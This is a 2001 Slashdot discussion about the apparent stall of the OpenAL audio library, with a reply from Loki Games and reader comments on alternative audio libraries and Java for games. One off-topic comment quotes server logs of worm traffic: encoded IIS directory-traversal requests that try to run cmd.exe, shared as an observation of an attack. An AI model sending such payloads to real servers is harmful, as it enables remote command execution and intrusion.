Whither OpenAL?
delYsid asks: "About a year ago, Slashdot had a story about the OpenAL project by Loki and Creative. There was much hype around it. But if you check their website now, the last changelog entry appears to be from December of 1999! Does anyone know of a good (preferable platform independent) library for 3D audio? The only answer I get when I ask professionals in this field is DirectX. I'd love to have my app under Linux instead of having to move to Win again. Any pointer or hints about the current status of OpenAL? Are there any alternatives?" Update: 09/18 15:33 PM GMT by C :Corrected the link which referred to Slashdot's previous story on OpenAL.
I forwarded this question on to Loki, and here's the response from Scott Draeker, president of Loki Games:
As you can imagine, everyone is pretty busy right now, especially as we had some folks out on vacation the last couple of weeks. So I'm sorry about the slow response.
In answer to your question, work on OpenAL continues. Creative has already added EAX and hardware acceleration to the Mac and Windows versions, and are working on adding both to the Linux implementation as well. Work is also continuing on an OS X port as well as other OSes. OpenAL continues to be the sound API which Loki uses in all of its products, and many other companies are either using or evaluating OpenAL for their products as well.
Hope that helps.
So there you have it, straight from the source. Development is progressing, although it's likely to be a bit slow at present. Here's hoping we'll hear more updates on the progress of OpenAL, over the next 6 months. Thanks a bunch for taking the time to answer, Scott!
the old slashdot link hasn't been completed, doesn't work...
J-aims
--
Yo, whatever happened to peas? Join T( H)GS
Java has 3d audio packages. check out http://developer.java.sun.com.
incidently, i just posted a blurb at techienews about sprint using java in its upcomming 3G network. yes, java.
-teknopurge
Website Hosting
Well thanks for the update, but I guess we don't need to show off our web-searching skills now to find the answer.
And I had google, dogpile, Lycos all up and ready to go.
Can slashdot not report on these types of projects until they start producing somethings besides vapor. It just causes people to think that something is already being done and people who otherwise would create their own projects move onto other things.
With that said I was/am part of a project which hasn't done anything for quite some time, but we don't bury our code in much marketing hype, so I think it is pretty clear to anyone who is interested to see what progress is or isn't being made.
check the archives of the maillinglist.[http://www.openal.org/ml/openal/]
it seems te be active
it's a great lib. they had problems with it on windows last spring, but the bugs seem to be worked out now. I actually just downloaded the latest from the ftp site a week ago and it seems very stable.
-- "The best way to predict the future is to invent it."
So the next logical question is:
How do use or evaluate OpenAL for my product, Scott?
In the old days we made sound by banging stones together.
134340: I am not a number. I am a free planet!
Why is it that everything has to be in Java these days?
I am not quite sure where you get the idea it isnt in development. The ftp site has a new tarball as of two days ago.
Tux Games. Your complete source for native Linux games.
I think you can't have 3D audio library without advanced sound device drivers. And AFAIR emu10k1 driver supports effects like delay/flanger/gain, but do not support 3D sound. Main problem is - nobody need advanced sound drivers. .doc import/export). The only way to fix that is to create more 3D games for Linux. :-)
Most of people just need to listen mp3 (it's similiar to word processors - most people need only
So download SDL then get some info from OpenGL site and gamedev then start coding!
(From the web site)
OSS/3D is a new 3D audio architecture developed by 4Front Technologies. It is 100% cross platform (available for Windows and UNIX/Linux) and has advanced features that often take 3 or 4 separate products to accomplish.
OSS/3D comprises of a set of digital signal processing (DSP) algorithms that do spatialization, 3D surround, fidelity enhancement, virtual bass boost and speaker configuration.
Currently, OSS/3D comes as a plugin for either Winamp on Windows or X MultiMedia System (XMMS) on Linux/Solaris/FreeBSD.
http://www.oss3d.com
DirectX is platform independent? These guys may be professionals, but it sounds like their profession is not in a computer-related field. Were they milkmen? Lawyers? Plumbers?
plib
It's clean code, and simple. And it seems to work well. SDL, which was mentionned before is cool too.
umm, there is Java3d, which uses either DirectX or OpenGL. It work well too.
Website Hosting
Dump all the code out to the Open Source community. If they haven't worked on it since '99, it really shouldn't be a problem, and Loki Games and creative would have "Official Linux Support", for whatever it's worth.
Angry White Guy
You think that I'm crazy, you should see this guy!
another initiative to create an alternative cross-platform media api is currently underway under the name OpenML. OpenML is a merging of several media apis from SGI and others. the specifications have been released, and whitepapers, specs, and presentations are on the OpenML website.
The most important factor of today is time to market. Java apps can, with proper coding, run as fast or faster than the equivalent C code. Sure, you can create blazingly fast apps in C with lots of effort, but you can gain even more by moving to 100% assembler code. It's a development time versus slight speed difference tradeoff.
You don't have to use Java just because others do. If you work best in C, C++, Python or some other language which you happen to prefer... Use that and stop complaining over my choice of language, dammit!
War is one of the most horrible things a human can be exposed to. And one of the worlds largest industries.
openal is actively maintained, just monitor their mailing list. bug reports go in reletively quick too.
I've been using openal on win32, linux, and IRIX without trouble. The only caveat is the API varies just a little between platforms.
Kevin
http://www.mp3.com/subatomicglue
music - http://www.subatomicglue.com
http://maccentral.macworld.com/storyforum/forum
The relevant portions read
I tried plib about a year ago, and OH MY GOD, it was BAD!!!
It supported (get ready):
- 3 simultaneous voices
- 8 bit mono (only)
- not even 3D sound
Does anyone know if it has gotten better in the last year? Maybe I just missed why it is "so good"?
subatomic -
http://www.mp3.com/subatomicglue
music - http://www.subatomicglue.com
At least a few hundred in the past two hours. Also, the following URL from a machine that attempted to infect my linux box :) has a JS popup that serves up a version of the worm called "readme.eml".
Check it out:
http://www.webit-solutions.com/
Going to their FTP site
ftp://ftp.openal.org/pub/open-source/openal/
shows continuous releases up to a few days ago. Looks like it is in active development to me.
Who would win this election: Andrew Weiner vs Andrew Weiner's weiner.
creative labs and loki both are maintaining openal very actively.
their discussion board is lively, and patches are submitted all the time.
you guys should do some research before acting like you know stuff.
subatomic-
http://www.mp3.com/subatomicglue
music - http://www.subatomicglue.com
Each machine appears to be attempting to run multiple IIS exploits including attempts to exploit rooted IIS boxes. Here's what I see so far from one box (IP XX'ed out):
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 344
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 294
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 294
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 311
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 311
216.242.xxx - - [18/Sep/2001:10:45:09 -0400] "GET
216.242.xxx - - [18/Sep/2001:10:45:10 -0400] "GET
216.242.xxx - - [18/Sep/2001:10:45:14 -0400] "GET
216.242.xxx - - [18/Sep/2001:10:45:18 -0400] "GET
216.242.xxx - - [18/Sep/2001:10:45:19 -0400] "GET
216.242.xxx - - [18/Sep/2001:10:45:20 -0400] "GET
216.242.xxx - - [18/Sep/2001:10:45:24 -0400] "GET
216.242.xxx - - [18/Sep/2001:10:45:34 -0400] "GET
216.242.xxx - - [18/Sep/2001:10:45:39 -0400] "GET
You see, audio is a result of the kinetic energy of air molecules, the effects of which can only be observed in three dimensions. Any number or dimensions that are more or less than three are merely mathematical abstractions, and it is not known whether sound exists in those dimensions.
:)
Oh well, I guess I am picking nits
"Backups are for wimps. Real men upload their data to an FTP site and have everyone else mirror it." -- Linus Torvalds
You have to realize the reason he doesn't like the API requiring preemptive multitasking is that the "classic" MacOS doesn't have it. That's not even an issue on Linux, Win32, or MacOS X.
A lot of game developers use this; not open source, if that is an issue for you, though.
-m
Read in a few places that Bioware is trying OpenAL for NWN because it's the only non-MS API supported by a major sound card maker.
The pace of openal development for the linux branch during 2001 has slowed, but has not stopped. I think it's natural that some slow down would have occured, because January saw the commit of the 1.0 spec compliant linux implementation. Until the 1.1 spec is well defined there's not much to do but bug fix and write new backends. So the frenetic pace of commits that lead up to January 2001 can't really be maintained.
That being said, there are lots of spots in the linux implementation that could use bug fixing, or optimizing, or whatever. Since leaving Loki I don't think my position as full-time maintainer was ever filled. I've committed fixes for some more serious bugs but in the vacuum left by my departure a lot of good patches have been left by the wayside.
But the API is good, the implementations on the whole good and getting better. Concerns about the viability of using openal can be addressed by looking at the Loki software titles. In the absence of an official maintainer I'm more than happy to fix things as time permits, but this leaves things open to the vagaries of my work and personal schedule. In general, I really think this criticism is unwarranted ( and your observations about cvs commit dates totally incorrect! ).
Compiled Java is actually slower than JITted Java bytecode. Want proof that Java might actually be as fast as C? This article at Ace's Hardware shows off some pretty interesting numbers.
War is one of the most horrible things a human can be exposed to. And one of the worlds largest industries.
As well as that, are there any decent cross-platform 2D & Input layers that could fit in with OpenGl, OpenML & OpenAL?
For input, you could use SDL's or Allegro's input layer. For 2D, just use the special case of OpenGL graphics where z = 0 (note that this is also how DirectX 8 does DirectDraw, as a special case of Direct3D 8).
It would be interesting to see how those three fit together, as it really could give OSS a set of API's to combat DirectX with effectivly
AllegroGL (OpenGL graphics + Allegro input + Allegro sound) works nicely.
Will I retire or break 10K?
different from ALSA different from Esound different from Arts. I know ALSA concentrates on improveing the low level drivers as well as creating a better sound api. Don't these others including OpenAL overlap with ALSA in the api area. Some sort of api wrappers around ALSA or OSS or the kernel based drivers would be nice though to provide a unified sound interface. Is this what OpenAL was after? If so I would say it was a good idea.
See the 'Castle' demo for an example, downloadable via http://www.blitzbasic.com/
http://www.blitzbasic.com/
Graphics3D 640, 480
Slightly offtopic question, but does anyone know of any good mixer apps to be run under X? I've been looking a little and haven't even been able to find one that uses a line 1 and line 2.
This is nice, but couldn't Ask Slashdot deal with things a little closer to home?
'Anonymous Coward writes: A few years ago, Slashdot had several comments by the user MEEPT!. There was much excitement around it. But if you check the site now, the last MEEPT! comment appears to be from December of 1999! Does anyone know of a good (preferably non-goatsex-infested) site for such comments? The only answer I get when I ask Slashdot users this question is to be moderated (-1, Offtopic). I'd love to read Slashdot instead of having to move to Kuro5hin again. Any pointer or hints about the current status of MEEPT!? Are there any alternatives?'
-- Ed Avis ed@membled.com
In the past it was expected that audio under Linux would suck because there was no support. So, now Linux will catch up and pass Windows support?
Are other sound card manufacturers doing anything with open source sound? nVidia nForce? Turtle Beach Santa Cruz? Hercules Game Theater XP?
I would LOVE it if nVidia nForce came in with support for Linux AND Windows AND produced good CLEAN sound with good speed under both OSs, but I'm not holding my breath.
Also what about high end card (M Audio, Aardvark, etc...) support under Linux? Are any of these cards good for gaming? I could care less about 5.1 right now. I want fast, clean, stereo sound, a digital out, low CPU load under the most demanding games, standards compliance, under about $150-200 and regular driver updates. You'd think after, what, twelve years of sound cards for PCs we would have figured all of this crap out by now.
They're called ``electrons.''
Got time? Spend some of it coding or testing
> It is.
;-)
Uncorrect. The real answer is "It depends on the game!"
Anytime someone says "X is a silver bullet", I'm critical of what disadvantes they are overlooking.
We tried, and successfully used Java in one of games. It dropped in, in about a week (of course the game logic took months to write.) Having to use 2 IDE's was a pain, but workable, for debugging. (We made the C++ code into a DLL) There were TWO big problems -- the OVERHEAD from calling Java from C/C++ (or vice versa) *completely* bogged down the game. The other issue was the garbage collector - the game froze while it was doing it's thing, which is unacceptable. (We were doing a single player strategy-sim hybrid, that unfortunately got cancelled, due to other issues.)
Will we use Java again? Maybe. But the scripting language used is only one of the issues regarding gaming tech! One must look at the "pros" AND the "cons." The designers were able to get up to speed quickly with it, appreciated the ton of books on Java programming, and it freed it up one of our programmers of having to maintain a in-house properietary language. However, the designers also lacked the many years of formal training and experience that programmers normally have to go thru, of using a "real language" compared to our easy-to-use previous in-house language. These two things (very bad C/C++ integration, & requiring designers to be programmers) will most likely determine whether we use Java in the future.
I'm the graphics programmer, and personally think Java is not the best tech for game scripting. HOWEVER, I do see its advantages and elegance in using it for game scripting and game logic. It's the old trade-off of "slow & flexible (interpreted) OR "fast and hard-coded (compiled)." Java definately has some advantages - and some disadvantes - like all languages.
I'm sure you can search Carmack's old plans for why he didn't use Java - his reasons were different from ours.
Is Java a viable option? Wild Tangent has clearly shown that a Java-based game works. They have some pretty cool tech.
You might want to read the Gamasutra Post Mortem article on "Vampire" -- That's the only other game developer I know that used Java in a commercial game.
> Too bad most game developers seem to think that a game can't be any good if it
How many game developers do you personally know? That's a pretty broad statement with no basis in fact.
> doesn't spew out 3D graphics at a rate of 500 fps or,
> if it is a strategy game, doesn't have at least have a 3D isometric view in true color.
Game developers are well aware of raising the technical requirements so high, that you loose a lot of customers that don't have the "latest and greatest" video card.
They are also quite aware of Graphics != gameplay.
However, if you DON'T have some of the best graphics, your game is criticized as having "dated graphics." Is that an excuse? No, it's what the consumer wants. Pretty graphics are (usually) what catch the gamers attention, but gameplay is what keeps him/her playing.
It's interesting to note that most of the top selling games are all 2D. i.e. Sims, Diablo, RollerCoaster Tycoon.
If you want a good insight to how the games industry really works, read this Derek Smart's rant on Gaming Industry - Where We Are which dicusses what really happens with the marketing.
Also Avault's series on PC Gaming As An Industry
Bringing this long thread. back on topic -- OpenAL is a good thing, and I'm glad it is progressing. I'll be sure to mention it to our engine architect, next time we do a Mac Port. If we do a Linux port, it will definately make things easier for us. It's a REAL shame OpenGL is completely ignored by so many developers -- using one cross platform API is very cool. Now if only consoles supported it better
Then again, I'm just a game developer, and this is my opinion.
What new types? Long is already 64 bits, as is (of course) double. Memory addressing issues won't be a factor, since they are entirely hidden from the programmer.
186,282 mi/s...not just a good idea, its the law!
Galileo: "The Earth revolves around the Sun!"
Score: -1 100% Flamebait
Yes, the same amount of work has to be done, but (essentially) the OS doesn't have the same insight into the work as you do, so you can do a better job. You can do all the vector math for a 3D scene, and *then* dirty the cache doing some sound processing, but you'll dirty the cache only once, not multiple times when the OS will go back and forth between the two.
The last sentence of your first paragraph is correct, the cache would be dirtied anyway (unless you can write a program which fits all (including data and appropriate kernel parts!) in cache. Then you have no problem. :-)
You are also right in your second paragraph. But we were talking about pre-emptive multitasking here, and the pre-emptive part means just the opposite of what you are saying.
GNU Pth is a non-preemptive multithreading package that gives you this kind of control with a familiar POSIX Threads API.
Personally, I prefer event/message-based architectures, which can scale to multiple threads or processes if needed (like if you want to use multiple CPUs or if you have totally blocking operations like libresolv-based gethostbyname). But GNU Pth is nice too, a shame it's not used more...
Since you asked, thought it was worth mentioning.
Obviously you've never heard of a little game called "Heavy Gear II"... or "Unreal Tournament"?
;-)
You can hardly call it vaporware when they have already used it in many applications...
it maybe a lot simpler than all the other implementations, but its highly portable and fast
and has a huge feature list.. It leaves openAL in the dust! it just added CE to the platform list, MAC will probably come soon .. http://www.fmod.org
um, OpenGL supports both 3D and 2D drawing modes. You waste all that 3D computation to get 2D drawing by doing this. Look up the glOrtho call to find out more about GL's 2d mode.
-- "The best way to predict the future is to invent it."